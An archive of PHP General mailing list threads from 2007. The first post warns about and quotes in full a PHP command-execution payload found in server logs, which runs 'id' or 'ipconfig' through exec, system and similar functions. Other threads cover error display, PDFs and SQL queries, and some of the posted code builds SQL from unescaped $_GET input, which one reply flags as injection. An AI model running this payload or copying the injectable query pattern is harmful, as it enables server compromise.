[PHP] evil script in server logs (Heads Up)
I am taking a quick look through the access logs on our dev box, and came across this little nasty that was trying to execute itself as a XSS attack(?) ? $ker = @php_uname(); $osx = @PHP_OS; echo f7f32504cabcb48c21030c024c6e5c1abr; echo h2SysOSx:$ker/h2/br; echo h2SysOSx:$osx/h2/br; if ($osx == WINNT) { $xeQt=ipconfig -a; } else { $xeQt=id; } $hitemup=ex($xeQt); echo $hitemup; function ex($cfe) { $res = ''; if (!empty($cfe)) { if(function_exists('exec')) { @exec($cfe,$res); $res = join(\n,$res); } elseif(function_exists('shell_exec')) { $res = @shell_exec($cfe); } elseif(function_exists('system')) { @ob_start(); @system($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(function_exists('passthru')) { @ob_start(); @passthru($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(@is_resource($f = @popen($cfe,r))) { $res = ; while([EMAIL PROTECTED]($f)) { $res .= @fread($f,1024); } @pclose($f); } } return $res; } ? So far, it is coming from http://www.vesprokat.ru/n and http://www.goodasgold.com Be aware and check that your files are not vulnerable, although they are only going to get your users and groups info, as well as OS, you should all look out for this. --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] error messages
On Friday 05 October 2007, Paul Scott wrote: On Thu, 2007-10-04 at 22:38 -0700, tbt wrote: I'm a newbie to php and i would like to know a way of viewing runtime errors on the browser. Currently when an error occurs nothing is displayed on the browser. Is there any way of viewing all error messages on the browser itself. You can up the error_reporting level in your php.ini, or you can simply put the following line at the top of your script: ini_set(error_reporting, E_ALL); or for an even stricter setting: ini_set(error_reporting, E_STRICT); --Paul You will also need to set: ini_set('display_errors', 'On'); Some web hosts set it Off by default for security reasons, but you probably want it on for development and testing. -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] error messages
I added the following lines to the top of my script but still no error messages show up on the browser. When a php error occurs the entire page is still shown blank. Larry Garfield wrote: On Friday 05 October 2007, Paul Scott wrote: On Thu, 2007-10-04 at 22:38 -0700, tbt wrote: I'm a newbie to php and i would like to know a way of viewing runtime errors on the browser. Currently when an error occurs nothing is displayed on the browser. Is there any way of viewing all error messages on the browser itself. You can up the error_reporting level in your php.ini, or you can simply put the following line at the top of your script: ini_set(error_reporting, E_ALL); or for an even stricter setting: ini_set(error_reporting, E_STRICT); --Paul You will also need to set: ini_set('display_errors', 'On'); Some web hosts set it Off by default for security reasons, but you probably want it on for development and testing. -- Larry GarfieldAIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php -- View this message in context: http://www.nabble.com/error-messages-tf4573258.html#a13054779 Sent from the PHP - General mailing list archive at Nabble.com. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] error messages
On Fri, 2007-10-05 at 00:32 -0700, tbt wrote: I added the following lines to the top of my script but still no error messages show up on the browser. When a php error occurs the entire page is still shown blank. Is your script *supposed* to output something? --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Generating PDF files (XSLT, ps, XSL-FO, FOP, etc)
Yannick Warnier wrote: but you can't generate a PDF using XML and XSLT, although XSLT is, to my understanding, made to enable export in various formats from the same XML file. XSLT is a style language, and you could quite possibly make it produce a PDF. It seems that in this case (exporting from XML to PDF), you need to first convert the XML to a XSL-FO format (using XSLT) and then convert that XSL-FO format into PDF, and the only way to do that last step at the moment seems to be to use Apache's FOP project, which requires Java and a server-side component that you are unlikely to be authorized to install on a low-cost hosting server. There is more than one way to skin a cat. I generate PDFs in batch using an OpenOffice document template (which is XML anyway), merge that with my XML data using xalanc, and then openoffice to create the PDF. /Per Jessen, Zürich -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] php on irc
i was just wondering if there is an irc channel for php? -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Empty Array?
I think the $lock_result is just a resource #id you haven't fetched any data yet. True? Aleksander Dan Shirah wrote: Ah, what a lovely case of the Friday morning brain farts! I have a query that selects some data from a table based on the current ID selected. If the query does not return any results, I want it to continue to another query that will insert a record into the table. Below is what I have...but it will not insert anything if the first query does not find a match. ?php $request_id = $_GET['id']; $current_user = substr($_SERVER['AUTH_USER'], 13); $lock_query = SELECT id, locked_by_user FROM locked_payments WHERE id = '$request_id'; $lock_result = mssql_query($lock_query) or die(mssql_get_last_message()); if (empty($lock_result)) { $set_lock = INSERT into locked_payments ( id, locked_by_user) VALUES ('$request_id', '$current_user'); mssql_query($set_lock) or die (Insert failed: br /.mssql_get_last_message()); } ? Any ideas on what I'm doing wrong? My guess is that (empty($lock_result)) is probably not the correct way to check if an array is empty? -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Empty Array?
Ah, what a lovely case of the Friday morning brain farts! I have a query that selects some data from a table based on the current ID selected. If the query does not return any results, I want it to continue to another query that will insert a record into the table. Below is what I have...but it will not insert anything if the first query does not find a match. ?php $request_id = $_GET['id']; $current_user = substr($_SERVER['AUTH_USER'], 13); $lock_query = SELECT id, locked_by_user FROM locked_payments WHERE id = '$request_id'; $lock_result = mssql_query($lock_query) or die(mssql_get_last_message()); if (empty($lock_result)) { $set_lock = INSERT into locked_payments ( id, locked_by_user) VALUES ('$request_id', '$current_user'); mssql_query($set_lock) or die (Insert failed: br /.mssql_get_last_message()); } ? Any ideas on what I'm doing wrong? My guess is that (empty($lock_result)) is probably not the correct way to check if an array is empty?
Re: [PHP] Empty Array?
Okay, gotcha! I changed it to this and it works: ?php $request_id = $_GET['id']; $current_user = substr($_SERVER['AUTH_USER'], 13); $lock_query = SELECT id, locked_by_user FROM locked_payments WHERE id = '$request_id'; $lock_result = mssql_query($lock_query) or die(mssql_get_last_message()); $lock_row = mssql_fetch_array($lock_result); $lock_id = $lock_row['id']; $lock_user = $lock_row['locked_by_user']; if (empty($lock_row)) { $set_lock = INSERT into locked_payments ( id, locked_by_user) VALUES ('$request_id', '$current_user'); mssql_query($set_lock) or die (Query failed: br /.mssql_get_last_message()); } ? Thanks! :) On 10/5/07, Aleksandar Vojnovic [EMAIL PROTECTED] wrote: I think the $lock_result is just a resource #id you haven't fetched any data yet. True? Aleksander Dan Shirah wrote: Ah, what a lovely case of the Friday morning brain farts! I have a query that selects some data from a table based on the current ID selected. If the query does not return any results, I want it to continue to another query that will insert a record into the table. Below is what I have...but it will not insert anything if the first query does not find a match. ?php $request_id = $_GET['id']; $current_user = substr($_SERVER['AUTH_USER'], 13); $lock_query = SELECT id, locked_by_user FROM locked_payments WHERE id = '$request_id'; $lock_result = mssql_query($lock_query) or die(mssql_get_last_message()); if (empty($lock_result)) { $set_lock = INSERT into locked_payments ( id, locked_by_user) VALUES ('$request_id', '$current_user'); mssql_query($set_lock) or die (Insert failed: br /.mssql_get_last_message()); } ? Any ideas on what I'm doing wrong? My guess is that (empty($lock_result)) is probably not the correct way to check if an array is empty?
[PHP] Re: [SOAP] potential fix for bug 42637
On Mon, 2007-10-01 at 11:58 -0400, Bill Moran wrote: I posted this to internals@ on Friday and haven't heard anything. Hi Bill! This patch is *great*. In fact, I'll take two! It's a steal! I was running into the same problem and your patch is a life saver! Free beer for Bill in the future! Hopefully PHP 5.2.5 will be released soon and will include this fix!? One would think that PHP would have automated regression testing running on a build farm somewhere that would find a bug like this! Did you see the CVS changelog between 1.106 and 1.107? Its flagged as as MFB. What's that mean, then? Merge from branch? More functionality breakage? I personally prefer the NetBSD CVS commit message policy: - Explain in detail what your CVS commit changes - Why you did it - What it could break - What trouble tickets/problem reports are related to - What release engineering branches are affected? - Who peer-reviewed your change and approved your commit. Otherwise they'll just cane you. ~BAS I believe the fix I posted to this bug fixes it. At least, changing line 921 makes the problem go away in our testing environment. Anyone available to have a look at this? http://bugs.php.net/bug.php?id=42637 -- Bill Moran Collaborative Fusion Inc. http://people.collaborativefusion.com/~wmoran/ [EMAIL PROTECTED] Phone: 412-422-3463x4023 -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP] error messages
-Original Message- From: Paul Scott [mailto:[EMAIL PROTECTED] Sent: 05 October 2007 06:44 On Thu, 2007-10-04 at 22:38 -0700, tbt wrote: I'm a newbie to php and i would like to know a way of viewing runtime errors on the browser. Currently when an error occurs nothing is displayed on the browser. Is there any way of viewing all error messages on the browser itself. You can up the error_reporting level in your php.ini, or you can simply put the following line at the top of your script: ini_set(error_reporting, E_ALL); or for an even stricter setting: ini_set(error_reporting, E_STRICT); Er, no, actually that's much *less* strict, as it won't display any of the E_ALL errors; I think you meant: ini_set(error_reporting, E_ALL E_STRICT); Cheers! Mike - Mike Ford, Electronic Information Services Adviser, JG125, The Headingley Library, James Graham Building, Leeds Metropolitan University, Headingley Campus, LEEDS, LS6 3QS, United Kingdom Email: [EMAIL PROTECTED] Tel: +44 113 812 4730 Fax: +44 113 812 3211 To view the terms under which this email is distributed, please go to http://disclaimer.leedsmet.ac.uk/email.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Super bizarre changing variable!!
This is indeed the complete code, I did not cut anything out for brevity, which is why this appears to be so impossible. eAccelerator is activated, could something be corrupt? Could a corrupt index cause this? In table1, `referer` is int(12). In table2, `data` is text In table2, `friend_id` is mediumint(9) - which I see is a problem in some cases, $referer can (rarely) be 10 digits long, so I just changed it to int(12) When $referer is being set it's probably a string type, but the contents are ALWAYS a valid integer. Any ideas? On Oct 4, 2007, at 10:55 AM, Richard Davey wrote: Hi Brian, Thursday, October 4, 2007, 4:50:09 PM, you wrote: I'm running the following code: $query3 = DELETE FROM table1 WHERE referer=$referer ORDER BY creation LIMIT $numtodelete; $result3 = mysql_query($query3); $string = $total found, $n kept, $numtodelete extras removed ($query3); $x = mysql_query(insert into table2 (friend_id,data) values ($referer,'$string')); I created the table2 log file just so I could see what the hell is going on. Here is a typical entry in table2: FRIEND_ID = 8388607 DATA = 908 found, 100 kept, 808 extras removed (DELETE FROM table1 WHERE referer=69833818 ORDER BY creation LIMIT 808) Notice that the value in FRIEND_ID, which was set with $referer, is DIFFERENT than the value of $referer shown in DATA! How the flying f*^%k is this possible??? I've been tearing my hair out for 3 days over this. Almost all records show 8388607 in that FRIEND_ID field. Once in a blue moon, a different value is shown, which does match the value in DATA. So it's displaying this erroneous behavior 95% of the time but not always. What data type do the referer / friend_id columns have in MySQL? int? tinyint? etc Also show all of your code - there is no way that the value changes between lines 1 and 4 in the code above, which means you've missed something out (probably for post brevitys sake) Cheers, Rich -- Zend Certified Engineer http://www.corephp.co.uk Never trust a computer you can't throw out of a window -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] error messages
yes it is pscott wrote: On Fri, 2007-10-05 at 00:32 -0700, tbt wrote: I added the following lines to the top of my script but still no error messages show up on the browser. When a php error occurs the entire page is still shown blank. Is your script *supposed* to output something? --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php -- View this message in context: http://www.nabble.com/error-messages-tf4573258.html#a13056353 Sent from the PHP - General mailing list archive at Nabble.com. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] error messages
try putting this on the top of your PHP page ?php error_reporting(E_ALL); ? tbt wrote: yes it is pscott wrote: On Fri, 2007-10-05 at 00:32 -0700, tbt wrote: I added the following lines to the top of my script but still no error messages show up on the browser. When a php error occurs the entire page is still shown blank. Is your script *supposed* to output something? --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] error messages
Maybe display errors is set on off? ? ini_set('display_errors','1'); ? Aleksander tbt wrote: yes it is pscott wrote: On Fri, 2007-10-05 at 00:32 -0700, tbt wrote: I added the following lines to the top of my script but still no error messages show up on the browser. When a php error occurs the entire page is still shown blank. Is your script *supposed* to output something? --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] php on irc
Hi Slith, #php on irc.freenode.net is a nice PHP channel Slith wrote: i was just wondering if there is an irc channel for php? -- With Warm Regards, Sudheer. S http://www.binaryvibes.co.in -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re[2]: [PHP] Super bizarre changing variable!!
Hi Brian, Friday, October 5, 2007, 1:28:35 PM, you wrote: This is indeed the complete code, I did not cut anything out for brevity, which is why this appears to be so impossible. eAccelerator is activated, could something be corrupt? Could a corrupt index cause this? In table1, `referer` is int(12). In table2, `data` is text In table2, `friend_id` is mediumint(9) - which I see is a problem in some cases, $referer can (rarely) be 10 digits long, so I just changed it to int(12) The number in () after the int doesn't apply to the number of digits it can contain. A mediumint field will never hold a value above 16,777,215 assuming you are using an unsigned field, otherwise the limit is a mere 8,388,607 - neither of which are big enough to hold the value you're trying to put into it (69,833,818) An unsigned int field MAY be enough, the limit being 4,294,967,295 - but if you've got a 10 digit value LARGER than this, it'll still fail. Meaning you either need to use a bigint field, or rethink how you are storing these values in the first place. Cheers, Rich -- Zend Certified Engineer http://www.corephp.co.uk Never trust a computer you can't throw out of a window -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Empty Array?
I'll just put my comments inline for you... Dan Shirah wrote: Okay, gotcha! I changed it to this and it works: ?php $request_id = $_GET['id']; $current_user = substr($_SERVER['AUTH_USER'], 13); You can't trust this info. $lock_query = SELECT id, locked_by_user FROM locked_payments WHERE id = '$request_id'; WARNING :: SQL INJECTION :: WARNING $lock_result = mssql_query($lock_query) or die(mssql_get_last_message()); $lock_row = mssql_fetch_array($lock_result); $lock_id = $lock_row['id']; $lock_user = $lock_row['locked_by_user']; You don't know if these 2 exist, so you'll get E_NOTICEs when you get 0 rows in your result if (empty($lock_row)) { And now you check if it actually HAS data, why didn't you do this 2 lines earlier ? $set_lock = INSERT into locked_payments ( id, locked_by_user) VALUES ('$request_id', '$current_user'); WARNING :: SQL INJECTION :: WARNING mssql_query($set_lock) or die (Query failed: br /.mssql_get_last_message()); } ? Thanks! :) you're welcome. - Tul On 10/5/07, Aleksandar Vojnovic [EMAIL PROTECTED] wrote: I think the $lock_result is just a resource #id you haven't fetched any data yet. True? Aleksander Dan Shirah wrote: Ah, what a lovely case of the Friday morning brain farts! I have a query that selects some data from a table based on the current ID selected. If the query does not return any results, I want it to continue to another query that will insert a record into the table. Below is what I have...but it will not insert anything if the first query does not find a match. ?php $request_id = $_GET['id']; $current_user = substr($_SERVER['AUTH_USER'], 13); $lock_query = SELECT id, locked_by_user FROM locked_payments WHERE id = '$request_id'; $lock_result = mssql_query($lock_query) or die(mssql_get_last_message()); if (empty($lock_result)) { $set_lock = INSERT into locked_payments ( id, locked_by_user) VALUES ('$request_id', '$current_user'); mssql_query($set_lock) or die (Insert failed: br /.mssql_get_last_message()); } ? Any ideas on what I'm doing wrong? My guess is that (empty($lock_result)) is probably not the correct way to check if an array is empty? -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: Re[2]: [PHP] Super bizarre changing variable!!
I definitely misunderstood what you guys are saying about the length. That's clearly a problem for a lot of my values. I can switch them both to bigint. One table has 34,000,000 records and it's OK if this is hung up for a few minutes but not much longer than that - any chance this change might take longer than 5 or 10 minutes? On Oct 5, 2007, at 5:43 AM, Richard Davey wrote: Hi Brian, Friday, October 5, 2007, 1:28:35 PM, you wrote: This is indeed the complete code, I did not cut anything out for brevity, which is why this appears to be so impossible. eAccelerator is activated, could something be corrupt? Could a corrupt index cause this? In table1, `referer` is int(12). In table2, `data` is text In table2, `friend_id` is mediumint(9) - which I see is a problem in some cases, $referer can (rarely) be 10 digits long, so I just changed it to int(12) The number in () after the int doesn't apply to the number of digits it can contain. A mediumint field will never hold a value above 16,777,215 assuming you are using an unsigned field, otherwise the limit is a mere 8,388,607 - neither of which are big enough to hold the value you're trying to put into it (69,833,818) An unsigned int field MAY be enough, the limit being 4,294,967,295 - but if you've got a 10 digit value LARGER than this, it'll still fail. Meaning you either need to use a bigint field, or rethink how you are storing these values in the first place. Cheers, Rich -- Zend Certified Engineer http://www.corephp.co.uk Never trust a computer you can't throw out of a window -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] evil script in server logs (Heads Up)
Paul Scott wrote: I am taking a quick look through the access logs on our dev box, and came across this little nasty that was trying to execute itself as a XSS attack(?) Interestingly enough, MimeDefang/ClamAV quarantined your message because of that script: Quarantine Messages: Message quarantined because of virus: PHP.Shell. Someone saw it somewhere and reported it... -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] evil script in server logs (Heads Up)
On Fri, 2007-10-05 at 07:38 -0600, Ashley M. Kirchner wrote: Quarantine Messages: Message quarantined because of virus: PHP.Shell. Someone saw it somewhere and reported it... Don't you love Free Software? ;) --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Re: Super bizarre changing variable!!
Brian Dunning wrote: I definitely misunderstood what you guys are saying about the length. That's clearly a problem for a lot of my values. I can switch them both to bigint. One table has 34,000,000 records and it's OK if this is hung up for a few minutes but not much longer than that - any chance this change might take longer than 5 or 10 minutes? It can take a while depending on the power of your server, the load it's under and the number of indexes you have on the table etc. I've had updates on large tables take like 20-30 minutes before :( One thing you can do to help reduce the posibility of having mismatched fields like this in the future is to use a DB Storage backend that supports Foreign keys e.g. InnoDB or the next version of MyISAM (I think) for MySQL... Foreign keys basically tell the DB engine this field in this table can only except values that are entered into this other field in this other table. The DB will refuse to let you add a foreign key if the fields are different types. There are many other advantages to foreign keys too, like ensuring data integrity at the DB level (making the application logic simpler in many cases) and vastly simplifying delete operations through the use of cascading deletes. Anyways, food for thought perhaps. Col -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re[4]: [PHP] Super bizarre changing variable!!
Hi Brian, Friday, October 5, 2007, 2:10:32 PM, you wrote: I definitely misunderstood what you guys are saying about the length. That's clearly a problem for a lot of my values. I can switch them both to bigint. One table has 34,000,000 records and it's OK if this is hung up for a few minutes but not much longer than that - any chance this change might take longer than 5 or 10 minutes? Impossible to quantify to be honest - it will depend a lot on what the server is doing at the time, how much RAM/CPU it has, etc. I'd recommend duplicating the table to a different server entirely (a local test box perhaps) and then running the change and timing it. It's the only way you'll really know - at the very least I'd strongly recommend you take the MySQL server totally offline when you make the change. Not only will it do it faster, it will avoid anyone on the site browsing into a world of pain. Cheers, Rich -- Zend Certified Engineer http://www.corephp.co.uk Never trust a computer you can't throw out of a window -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Generating PDF files (XSLT, ps, XSL-FO, FOP, etc)
On Friday 05 October 2007, Per Jessen wrote: Yannick Warnier wrote: but you can't generate a PDF using XML and XSLT, although XSLT is, to my understanding, made to enable export in various formats from the same XML file. XSLT is a style language, and you could quite possibly make it produce a PDF. Not quite. You would use XSLT to generate XSL:FO output. You would then use a tool like Apache FOP (or various others, free and not) to convert the XSL:FO document into a PDF. I've done this before, but it's been a while. :-) -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] evil script in server logs (Heads Up)
On 10/5/07, Paul Scott [EMAIL PROTECTED] wrote: On Fri, 2007-10-05 at 07:38 -0600, Ashley M. Kirchner wrote: Quarantine Messages: Message quarantined because of virus: PHP.Shell. Someone saw it somewhere and reported it... Don't you love Free Software? ;) --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php The biggest issue does still remain: if this is on your local system, you need to figure out exactly how it got there in the first place. -- Daniel P. Brown [office] (570-) 587-7080 Ext. 272 [mobile] (570-) 766-8107 Give a man a fish, he'll eat for a day. Then you'll find out he was allergic and is hospitalized. See? No good deed goes unpunished -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Empty Array?
$request_id = $_GET['id']; --- I suppose this would be an int. True? If so then add: ?php $request_id = intval($_GET['id']); ? Aleksandar marek wrote: Even better: ?php $request_id = $_GET['id']; $current_user = substr($_SERVER['AUTH_USER'], 13); $lock_query = SELECT id, locked_by_user FROM locked_payments WHERE id = '$request_id'; $lock_result = mssql_query($lock_query) or die(mssql_get_last_message()); $lock_row = mssql_fetch_array($lock_result); if (empty($lock_row)) { $lock_id = $lock_row['id']; $lock_user = $lock_row['locked_by_user']; $set_lock = INSERT into locked_payments ( id, locked_by_user) VALUES ('$request_id', '$current_user'); mssql_query($set_lock) or die (Query failed: br /.mssql_get_last_message()); } ? Dan Shirah wrote: Okay, gotcha! I changed it to this and it works: ?php $request_id = $_GET['id']; $current_user = substr($_SERVER['AUTH_USER'], 13); $lock_query = SELECT id, locked_by_user FROM locked_payments WHERE id = '$request_id'; $lock_result = mssql_query($lock_query) or die(mssql_get_last_message()); $lock_row = mssql_fetch_array($lock_result); $lock_id = $lock_row['id']; $lock_user = $lock_row['locked_by_user']; if (empty($lock_row)) { $set_lock = INSERT into locked_payments ( id, locked_by_user) VALUES ('$request_id', '$current_user'); mssql_query($set_lock) or die (Query failed: br /.mssql_get_last_message()); } ? Thanks! :) On 10/5/07, Aleksandar Vojnovic [EMAIL PROTECTED] wrote: I think the $lock_result is just a resource #id you haven't fetched any data yet. True? Aleksander Dan Shirah wrote: Ah, what a lovely case of the Friday morning brain farts! I have a query that selects some data from a table based on the current ID selected. If the query does not return any results, I want it to continue to another query that will insert a record into the table. Below is what I have...but it will not insert anything if the first query does not find a match. ?php $request_id = $_GET['id']; $current_user = substr($_SERVER['AUTH_USER'], 13); $lock_query = SELECT id, locked_by_user FROM locked_payments WHERE id = '$request_id'; $lock_result = mssql_query($lock_query) or die(mssql_get_last_message()); if (empty($lock_result)) { $set_lock = INSERT into locked_payments ( id, locked_by_user) VALUES ('$request_id', '$current_user'); mssql_query($set_lock) or die (Insert failed: br /.mssql_get_last_message()); } ? Any ideas on what I'm doing wrong? My guess is that (empty($lock_result)) is probably not the correct way to check if an array is empty? -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] error messages
tbt wrote: Hi I'm a newbie to php and i would like to know a way of viewing runtime errors on the browser. Currently when an error occurs nothing is displayed on the browser. Is there any way of viewing all error messages on the browser itself. Thanks From what I read in your other posts, it sounds like you have a parse error in your script. Even if you place the lines at the top of scripts as others have suggested, it will not fix your issue if your script has a parse error in it. This is because PHP pre-parses each script. But only after it is able to parse all the scripts, does it actually start running the script(s). My suggestion is to use modify the php.ini file directly and change the values that the others have suggested or, if you're using Apache, use a .htaccess file with the values set to force(on startup) php to display errors. This has bit me in the rear a few times myself. So, in your php.ini file, set these: display_errors = On error_reporting = E_ALL and if you have to use a .htaccess file, do this php_value error_reporting E_ALL php_value display_errors On Doing a quit google search I found this. It might be good reading for you. http://www.nyphp.org/phundamentals/ini.php -- Jim Lucas Some men are born to greatness, some achieve greatness, and some have greatness thrust upon them. Twelfth Night, Act II, Scene V by William Shakespeare -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] evil script in server logs (Heads Up)
On 10/5/07, Ashley M. Kirchner [EMAIL PROTECTED] wrote: Daniel Brown wrote: The biggest issue does still remain: if this is on your local system, you need to figure out exactly how it got there in the first place I thought the OP said he noticed it in his logs... I understood that as someone cleverly trying to inject it somehow and it ended up in the log files. But, without further information, I'm just as clueless... -- W | It's not a bug - it's an undocumented feature. + Ashley M. Kirchner mailto:[EMAIL PROTECTED] . 303.442.6410 x130 IT Director / SysAdmin / Websmith . 800.441.3873 x130 Photo Craft Imaging . 3550 Arapahoe Ave. #6 http://www.pcraft.com . . .. Boulder, CO 80303, U.S.A. Yeah, honestly I wasn't sure if it was an injection attack or if those URLs were referrers in the logs. -- Daniel P. Brown [office] (570-) 587-7080 Ext. 272 [mobile] (570-) 766-8107 Give a man a fish, he'll eat for a day. Then you'll find out he was allergic and is hospitalized. See? No good deed goes unpunished -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Empty Array?
Even better: ?php $request_id = $_GET['id']; $current_user = substr($_SERVER['AUTH_USER'], 13); $lock_query = SELECT id, locked_by_user FROM locked_payments WHERE id = '$request_id'; $lock_result = mssql_query($lock_query) or die(mssql_get_last_message()); $lock_row = mssql_fetch_array($lock_result); if (empty($lock_row)) { $lock_id = $lock_row['id']; $lock_user = $lock_row['locked_by_user']; $set_lock = INSERT into locked_payments ( id, locked_by_user) VALUES ('$request_id', '$current_user'); mssql_query($set_lock) or die (Query failed: br /.mssql_get_last_message()); } ? Dan Shirah wrote: Okay, gotcha! I changed it to this and it works: ?php $request_id = $_GET['id']; $current_user = substr($_SERVER['AUTH_USER'], 13); $lock_query = SELECT id, locked_by_user FROM locked_payments WHERE id = '$request_id'; $lock_result = mssql_query($lock_query) or die(mssql_get_last_message()); $lock_row = mssql_fetch_array($lock_result); $lock_id = $lock_row['id']; $lock_user = $lock_row['locked_by_user']; if (empty($lock_row)) { $set_lock = INSERT into locked_payments ( id, locked_by_user) VALUES ('$request_id', '$current_user'); mssql_query($set_lock) or die (Query failed: br /.mssql_get_last_message()); } ? Thanks! :) On 10/5/07, Aleksandar Vojnovic [EMAIL PROTECTED] wrote: I think the $lock_result is just a resource #id you haven't fetched any data yet. True? Aleksander Dan Shirah wrote: Ah, what a lovely case of the Friday morning brain farts! I have a query that selects some data from a table based on the current ID selected. If the query does not return any results, I want it to continue to another query that will insert a record into the table. Below is what I have...but it will not insert anything if the first query does not find a match. ?php $request_id = $_GET['id']; $current_user = substr($_SERVER['AUTH_USER'], 13); $lock_query = SELECT id, locked_by_user FROM locked_payments WHERE id = '$request_id'; $lock_result = mssql_query($lock_query) or die(mssql_get_last_message()); if (empty($lock_result)) { $set_lock = INSERT into locked_payments ( id, locked_by_user) VALUES ('$request_id', '$current_user'); mssql_query($set_lock) or die (Insert failed: br /.mssql_get_last_message()); } ? Any ideas on what I'm doing wrong? My guess is that (empty($lock_result)) is probably not the correct way to check if an array is empty? -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Empty Array?
I would advise against using intval if the sql data type is anything greater and/or equal to int unsigned. PHP on 32 bit systems: intval can only handle values up to 2147483647. sql unsigned int can go up to |4294967295 and bigints even higher This could cause serious problems ... Marek | Aleksandar Vojnovic wrote: $request_id = $_GET['id']; --- I suppose this would be an int. True? If so then add: ?php $request_id = intval($_GET['id']); ? Aleksandar marek wrote: Even better: ?php $request_id = $_GET['id']; $current_user = substr($_SERVER['AUTH_USER'], 13); $lock_query = SELECT id, locked_by_user FROM locked_payments WHERE id = '$request_id'; $lock_result = mssql_query($lock_query) or die(mssql_get_last_message()); $lock_row = mssql_fetch_array($lock_result); if (empty($lock_row)) { $lock_id = $lock_row['id']; $lock_user = $lock_row['locked_by_user']; $set_lock = INSERT into locked_payments ( id, locked_by_user) VALUES ('$request_id', '$current_user'); mssql_query($set_lock) or die (Query failed: br /.mssql_get_last_message()); } ? Dan Shirah wrote: Okay, gotcha! I changed it to this and it works: ?php $request_id = $_GET['id']; $current_user = substr($_SERVER['AUTH_USER'], 13); $lock_query = SELECT id, locked_by_user FROM locked_payments WHERE id = '$request_id'; $lock_result = mssql_query($lock_query) 